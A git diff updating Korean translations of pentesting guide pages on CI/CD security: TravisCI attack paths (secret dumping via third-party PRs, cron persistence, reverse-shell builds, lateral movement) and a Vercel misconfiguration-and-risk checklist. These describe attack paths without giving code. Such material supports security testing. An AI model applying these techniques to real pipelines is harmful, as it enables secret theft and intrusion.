From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 코드로서의 인프라를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
- 잘못된 구성을 위해 코드로서의 인프라를 원활하게 스캔합니다.
-- 구성 변경으로 인한 포지션 드리프트를 모니터링하고, 안전한 포지션으로 되돌릴 수 있게 합니다.
+- 구성 변경으로 인한 포지션 드리프트를 도입하는 프로비저닝된 클라우드 인프라를 모니터링하고, 안전한 포지션으로 되돌릴 수 있습니다.
- 보안 취약점 및 규정 준수 위반을 감지합니다.
- 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.
```bash
brew install terrascan
```
-## References
+## 참고 문헌
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index e5ebb30f8..9c721f458 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -11,6 +11,6 @@
- Rancher
- Mesosphere
- Radicle
-- 기타 CI/CD 플랫폼...
+- 기타 CI/CD 플랫폼...
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 2cf278537..e49f41b6e 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -1,8 +1,8 @@
-# TravisCI Security
+# TravisCI 보안
{{#include ../../banners/hacktricks-training.md}}
-## What is TravisCI
+## TravisCI란?
**Travis CI**는 여러 **다양한 git 플랫폼**에 호스팅된 소프트웨어 프로젝트를 빌드하고 테스트하는 데 사용되는 **호스팅** 또는 **온프레미스** **지속적 통합** 서비스입니다.
@@ -10,32 +10,32 @@
basic-travisci-information.md
{{#endref}}
-## Attacks
+## 공격
-### Triggers
+### 트리거
공격을 시작하려면 먼저 빌드를 트리거하는 방법을 알아야 합니다. 기본적으로 TravisCI는 **푸시 및 풀 리퀘스트에서 빌드를 트리거**합니다:
.png>)
-#### Cron Jobs
+#### 크론 작업
-웹 애플리케이션에 접근할 수 있다면 **크론을 설정하여 빌드를 실행**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다:
+웹 애플리케이션에 접근할 수 있다면 **빌드를 실행하기 위해 크론을 설정**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다:
.png>)
> [!NOTE]
-> [이](https://github.com/travis-ci/travis-ci/issues/9162) 링크에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다.
+> [이](https://github.com/travis-ci/travis-ci/issues/9162) 에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다.
-### Third Party PR
+### 제3자 PR
TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유하는 것을 비활성화하지만, 누군가 이를 활성화하면 리포지토리에 PR을 생성하고 비밀을 유출할 수 있습니다:
.png>)
-### Dumping Secrets
+### 비밀 덤프
-[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일에 base64로 저장됩니다(저장된 암호화된 두 가지 모두 최종 머신의 환경 변수로 끝납니다).
+[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일 내에 base64로 저장됩니다(두 가지 모두 암호화되어 저장되면 최종 머신의 환경 변수로 끝납니다).
- **환경 변수**로 구성된 **비밀을 나열**하려면 **프로젝트**의 **설정**으로 가서 목록을 확인하십시오. 그러나 여기에서 설정된 모든 프로젝트 환경 변수는 빌드를 트리거할 때 나타납니다.
- **사용자 정의 암호화된 비밀**을 나열하려면 **`.travis.yml` 파일**을 확인하는 것이 최선입니다.
@@ -48,16 +48,16 @@ TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유
- Windows/Mac/Linux에서 리버스 셸이 실행되는 예제 빌드
- 로그에 base64로 인코딩된 env를 유출하는 예제 빌드
-### TravisCI Enterprise
+### TravisCI 엔터프라이즈
-공격자가 **TravisCI enterprise**를 사용하는 환경에 도달하면(이것에 대한 더 많은 정보는 [**기본 정보**](basic-travisci-information.md#travisci-enterprise)에서 확인할 수 있습니다), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다:
+공격자가 **TravisCI 엔터프라이즈**를 사용하는 환경에 도달하면(자세한 내용은 [**기본 정보**](basic-travisci-information.md#travisci-enterprise) 참조), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다:
- 호스트로 탈출할 수 있습니까?
- 쿠버네티스를 손상시킬 수 있습니까?
- 동일한 네트워크에서 실행 중인 다른 머신을 손상시킬 수 있습니까?
- 새로운 클라우드 자격 증명을 손상시킬 수 있습니까?
-## References
+## 참고자료
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 5aa5b5b88..611988a1a 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -4,13 +4,13 @@
## Access
-TravisCI는 Github, Bitbucket, Assembla, Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다.
+TravisCI는 Github, Bitbucket, Assembla 및 Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다.
예를 들어, Github에서는 다음과 같은 권한을 요청합니다:
- `user:email` (읽기 전용)
- `read:org` (읽기 전용)
-- `repo`: 공개 및 비공개 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 권한을 부여합니다.
+- `repo`: 공개 및 비공식 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 접근을 부여합니다.
## Encrypted Secrets
@@ -20,7 +20,7 @@ TravisCI에서는 다른 CI 플랫폼과 마찬가지로 **리포지토리 수
.png>)
-**비밀이 사용 가능한 브랜치를 지정**할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김).
+**비밀이 사용 가능한 브랜치**를 지정할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김).
### Custom Encrypted Secrets
@@ -57,7 +57,7 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+파일을 암호화할 때 2개의 환경 변수가 리포지토리 내에 구성됩니다:
.png>)
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index f03e6b2e1..a2306f359 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,77 +2,80 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 기본 정보
Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프로젝트**는 **애플리케이션**입니다.
-**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 프로젝트를 확인하기 위해 최소한 **프로젝트 뷰어 권한**을 요청해야 합니다(팀 구성도 확인할 필요가 없는 경우).
+**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 최소한 **프로젝트 뷰어 권한**을 요청하여 프로젝트를 확인해야 합니다(팀 구성도 확인할 필요가 없는 경우).
-## Project Settings
+## 프로젝트 설정
-### General
+### 일반
**목적:** 프로젝트 이름, 프레임워크 및 빌드 구성과 같은 기본 프로젝트 설정을 관리합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Transfer**
-- **Misconfiguration:** 프로젝트를 다른 팀으로 전송할 수 있습니다.
-- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다.
-- **Delete Project**
-- **Misconfiguration:** 프로젝트를 삭제할 수 있습니다.
-- **Risk:** 프로젝트가 삭제됩니다.
+- **전송**
+- **잘못된 구성:** 프로젝트를 다른 팀으로 전송할 수 있습니다.
+- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다.
+- **프로젝트 삭제**
+- **잘못된 구성:** 프로젝트를 삭제할 수 있습니다.
+- **위험:** 프로젝트가 삭제됩니다.
---
-### Domains
+### 도메인
**목적:** 사용자 정의 도메인, DNS 설정 및 SSL 구성을 관리합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **DNS Configuration Errors**
-- **Misconfiguration:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME).
-- **Risk:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격.
-- **SSL/TLS Certificate Management**
-- **Misconfiguration:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다.
-- **Risk:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상됩니다.
-- **DNSSEC Implementation**
-- **Misconfiguration:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정.
-- **Risk:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다.
-- **Environment used per domain**
-- **Misconfiguration:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다.
-- **Risk:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출됩니다.
+- **DNS 구성 오류**
+- **잘못된 구성:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME).
+- **위험:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격.
+- **SSL/TLS 인증서 관리**
+- **잘못된 구성:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다.
+- **위험:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상될 수 있습니다.
+- **DNSSEC 구현**
+- **잘못된 구성:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정.
+- **위험:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다.
+- **도메인별 사용 환경**
+- **잘못된 구성:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다.
+- **위험:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출될 수 있습니다.
---
-### Environments
+### 환경
**목적:** 특정 설정 및 변수를 가진 다양한 환경(개발, 미리보기, 프로덕션)을 정의합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Environment Isolation**
-- **Misconfiguration:** 환경 간에 환경 변수를 공유합니다.
-- **Risk:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다.
-- **Access to Sensitive Environments**
-- **Misconfiguration:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다.
-- **Risk:** 무단 변경 또는 라이브 애플리케이션에 대한 접근으로 인해 잠재적인 다운타임이나 데이터 유출이 발생할 수 있습니다.
+- **환경 격리**
+- **잘못된 구성:** 환경 간에 환경 변수를 공유합니다.
+- **위험:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다.
+- **민감한 환경에 대한 접근**
+- **잘못된 구성:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다.
+- **위험:** 무단 변경 또는 라이브 애플리케이션에 대한 접근이 가능해져 잠재적인 다운타임이나 데이터 유출로 이어질 수 있습니다.
---
-### Environment Variables
+### 환경 변수
**목적:** 애플리케이션에서 사용하는 환경별 변수 및 비밀을 관리합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Exposing Sensitive Variables**
-- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다.
-- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다.
-- **Sensitive disabled**
-- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
-- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
+- **민감한 변수 노출**
+- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다.
+- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다.
+- **민감한 비활성화**
+- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
+- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
+- **공유 환경 변수**
+- **잘못된 구성:** 팀 수준에서 설정된 환경 변수로, 민감한 정보를 포함할 수 있습니다.
+- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
---
@@ -80,355 +83,355 @@ Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프
**목적:** Git 리포지토리 통합, 브랜치 보호 및 배포 트리거를 구성합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Ignored Build Step (TODO)**
-- **Misconfiguration:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다.
-- **Risk:** TBD
+- **무시된 빌드 단계 (TODO)**
+- **잘못된 구성:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다.
+- **위험:** TBD
---
-### Integrations
+### 통합
**목적:** 프로젝트 기능을 향상시키기 위해 타사 서비스 및 도구를 연결합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Insecure Third-Party Integrations**
-- **Misconfiguration:** 신뢰할 수 없거나 안전하지 않은 타사 서비스와 통합합니다.
-- **Risk:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어의 도입.
-- **Over-Permissioned Integrations**
-- **Misconfiguration:** 통합된 서비스에 과도한 권한을 부여합니다.
-- **Risk:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단.
-- **Lack of Integration Monitoring**
-- **Misconfiguration:** 타사 통합을 모니터링하고 감사하지 않습니다.
-- **Risk:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다.
+- **불안전한 타사 통합**
+- **잘못된 구성:** 신뢰할 수 없거나 불안전한 타사 서비스와 통합합니다.
+- **위험:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어 도입.
+- **과도한 권한 부여 통합**
+- **잘못된 구성:** 통합 서비스에 과도한 권한을 부여합니다.
+- **위험:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단.
+- **통합 모니터링 부족**
+- **잘못된 구성:** 타사 통합을 모니터링 및 감사하지 않습니다.
+- **위험:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다.
---
-### Deployment Protection
+### 배포 보호
**목적:** 다양한 보호 메커니즘을 통해 배포를 안전하게 하고, 누가 환경에 접근하고 배포할 수 있는지를 제어합니다.
-#### Security Configurations:
+#### 보안 구성:
-**Vercel Authentication**
+**Vercel 인증**
-- **Misconfiguration:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다.
-- **Risk:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용이 발생할 수 있습니다.
+- **잘못된 구성:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다.
+- **위험:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용으로 이어질 수 있습니다.
-**Protection Bypass for Automation**
+**자동화를 위한 보호 우회**
-- **Misconfiguration:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다.
-- **Risk:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다.
+- **잘못된 구성:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다.
+- **위험:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다.
-**Shareable Links**
+**공유 가능한 링크**
-- **Misconfiguration:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다.
-- **Risk:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한을 우회합니다.
+- **잘못된 구성:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다.
+- **위험:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한 우회.
-**OPTIONS Allowlist**
+**OPTIONS 허용 목록**
-- **Misconfiguration:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용합니다.
-- **Risk:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다.
+- **잘못된 구성:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용 목록에 추가합니다.
+- **위험:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다.
-**Password Protection**
+**비밀번호 보호**
-- **Misconfiguration:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다.
-- **Risk:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 발생할 수 있습니다.
-- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다.
+- **잘못된 구성:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다.
+- **위험:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 가능해집니다.
+- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다.
-**Deployment Protection Exceptions**
+**배포 보호 예외**
-- **Misconfiguration:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다.
-- **Risk:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근이 발생할 수 있습니다.
-- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다.
+- **잘못된 구성:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다.
+- **위험:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근으로 이어질 수 있습니다.
+- **참고:** **Pro** 요금제에서 **고급 배포 보호**의 일환으로 추가 $150/월에 제공됩니다.
-**Trusted IPs**
+**신뢰할 수 있는 IP**
-- **Misconfiguration:** IP 주소 또는 CIDR 범위를 잘못 지정합니다.
-- **Risk:** 정당한 사용자가 차단되거나 무단 IP가 접근할 수 있습니다.
-- **Note:** **Enterprise** 플랜에서 제공됩니다.
+- **잘못된 구성:** IP 주소 또는 CIDR 범위를 잘못 지정합니다.
+- **위험:** 합법적인 사용자가 차단되거나 무단 IP가 접근할 수 있습니다.
+- **참고:** **Enterprise** 요금제에서 제공됩니다.
---
-### Functions
+### 함수
-**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 기능을 구성합니다.
+**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 함수를 구성합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Nothing**
+- **없음**
---
-### Data Cache
+### 데이터 캐시
**목적:** 성능을 최적화하고 데이터 저장을 제어하기 위해 캐싱 전략 및 설정을 관리합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Purge Cache**
-- **Misconfiguration:** 모든 캐시를 삭제할 수 있습니다.
-- **Risk:** 무단 사용자가 캐시를 삭제하여 잠재적인 DoS를 초래할 수 있습니다.
+- **캐시 삭제**
+- **잘못된 구성:** 모든 캐시를 삭제할 수 있습니다.
+- **위험:** 무단 사용자가 캐시를 삭제하여 잠재적인 서비스 거부(DoS)를 초래할 수 있습니다.
---
-### Cron Jobs
+### 크론 작업
**목적:** 지정된 간격으로 자동화된 작업 및 스크립트를 예약합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Disable Cron Job**
-- **Misconfiguration:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다.
-- **Risk:** 서비스 중단의 잠재적 위험(크론 작업의 목적에 따라 다름).
+- **크론 작업 비활성화**
+- **잘못된 구성:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다.
+- **위험:** 서비스 중단의 잠재적 가능성(크론 작업의 목적에 따라 다름).
---
-### Log Drains
+### 로그 드레인
**목적:** 모니터링 및 감사를 위해 애플리케이션 로그를 캡처하고 저장하기 위해 외부 로깅 서비스를 구성합니다.
-#### Security Configurations:
+#### 보안 구성:
-- Nothing (팀 설정에서 관리됨)
+- 없음 (팀 설정에서 관리됨)
---
-### Security
+### 보안
**목적:** 프로젝트 접근, 소스 보호 등 다양한 보안 관련 설정을 위한 중앙 허브입니다.
-#### Security Configurations:
+#### 보안 구성:
-**Build Logs and Source Protection**
+**빌드 로그 및 소스 보호**
-- **Misconfiguration:** 보호를 비활성화하거나 `/logs` 및 `/src` 경로를 공개적으로 노출합니다.
-- **Risk:** 빌드 로그 및 소스 코드에 대한 무단 접근으로 인해 정보 유출 및 잠재적 취약점 악용이 발생할 수 있습니다.
+- **잘못된 구성:** 보호를 비활성화하거나 `/logs` 및 `/src` 경로를 공개적으로 노출합니다.
+- **위험:** 빌드 로그 및 소스 코드에 대한 무단 접근이 가능해져 정보 유출 및 잠재적 취약점 악용으로 이어질 수 있습니다.
-**Git Fork Protection**
+**Git 포크 보호**
-- **Misconfiguration:** 적절한 검토 없이 무단 풀 요청을 허용합니다.
-- **Risk:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어가 도입될 수 있습니다.
+- **잘못된 구성:** 적절한 검토 없이 무단 풀 요청을 허용합니다.
+- **위험:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어를 도입할 수 있습니다.
-**Secure Backend Access with OIDC Federation**
+**OIDC 연합을 통한 안전한 백엔드 접근**
-- **Misconfiguration:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다.
-- **Risk:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 발생할 수 있습니다.
+- **잘못된 구성:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다.
+- **위험:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 가능해집니다.
-**Deployment Retention Policy**
+**배포 보존 정책**
-- **Misconfiguration:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존)합니다.
-- **Risk:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다.
+- **잘못된 구성:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존).
+- **위험:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다.
-**Recently Deleted Deployments**
+**최근 삭제된 배포**
-- **Misconfiguration:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다.
-- **Risk:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다.
+- **잘못된 구성:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다.
+- **위험:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다.
---
-### Advanced
+### 고급
-**목적:** 구성 조정 및 보안 강화를 위한 추가 프로젝트 설정에 접근합니다.
+**목적:** 구성 조정 및 보안을 강화하기 위한 추가 프로젝트 설정에 접근합니다.
-#### Security Configurations:
+#### 보안 구성:
-**Directory Listing**
+**디렉토리 목록**
-- **Misconfiguration:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다.
-- **Risk:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다.
+- **잘못된 구성:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다.
+- **위험:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다.
---
-## Project Firewall
+## 프로젝트 방화벽
-### Firewall
+### 방화벽
-#### Security Configurations:
+#### 보안 구성:
-**Enable Attack Challenge Mode**
+**공격 도전 모드 활성화**
-- **Misconfiguration:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다.
-- **Risk:** 잠재적인 사용자 경험 문제.
+- **잘못된 구성:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다.
+- **위험:** 잠재적인 사용자 경험 문제.
-### Custom Rules & IP Blocking
+### 사용자 정의 규칙 및 IP 차단
-- **Misconfiguration:** 트래픽을 차단/해제할 수 있습니다.
-- **Risk:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다.
+- **잘못된 구성:** 트래픽을 차단/차단할 수 있습니다.
+- **위험:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다.
---
-## Project Deployment
+## 프로젝트 배포
-### Source
+### 소스
-- **Misconfiguration:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다.
-- **Risk:** 민감한 정보의 잠재적 노출.
+- **잘못된 구성:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다.
+- **위험:** 민감한 정보의 잠재적 노출.
-### Skew Protection
+### 스큐 보호
-- **Misconfiguration:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다.
-- **Risk:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다.
+- **잘못된 구성:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다.
+- **위험:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다.
---
-## Team Settings
+## 팀 설정
-### General
+### 일반
-#### Security Configurations:
+#### 보안 구성:
-- **Transfer**
-- **Misconfiguration:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다.
-- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다.
-- **Delete Project**
-- **Misconfiguration:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다.
-- **Risk:** 프로젝트가 삭제됩니다.
+- **전송**
+- **잘못된 구성:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다.
+- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다.
+- **프로젝트 삭제**
+- **잘못된 구성:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다.
+- **위험:** 프로젝트가 삭제됩니다.
---
-### Billing
+### 청구
-#### Security Configurations:
+#### 보안 구성:
-- **Speed Insights Cost Limit**
-- **Misconfiguration:** 공격자가 이 숫자를 증가시킬 수 있습니다.
-- **Risk:** 비용 증가.
+- **속도 통찰력 비용 한도**
+- **잘못된 구성:** 공격자가 이 숫자를 증가시킬 수 있습니다.
+- **위험:** 비용 증가.
---
-### Members
+### 구성원
-#### Security Configurations:
+#### 보안 구성:
-- **Add members**
-- **Misconfiguration:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다.
-- **Risk:** 공격자의 지속성.
-- **Roles**
-- **Misconfiguration:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오.
-- **Risk**: Vercel 팀의 노출 증가.
+- **구성원 추가**
+- **잘못된 구성:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다.
+- **위험:** 공격자 지속성.
+- **역할**
+- **잘못된 구성:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오.
+- **위험:** Vercel 팀의 노출 증가.
---
-### Access Groups
+### 접근 그룹
-Vercel의 **Access Group**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다.
+Vercel의 **접근 그룹**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다.
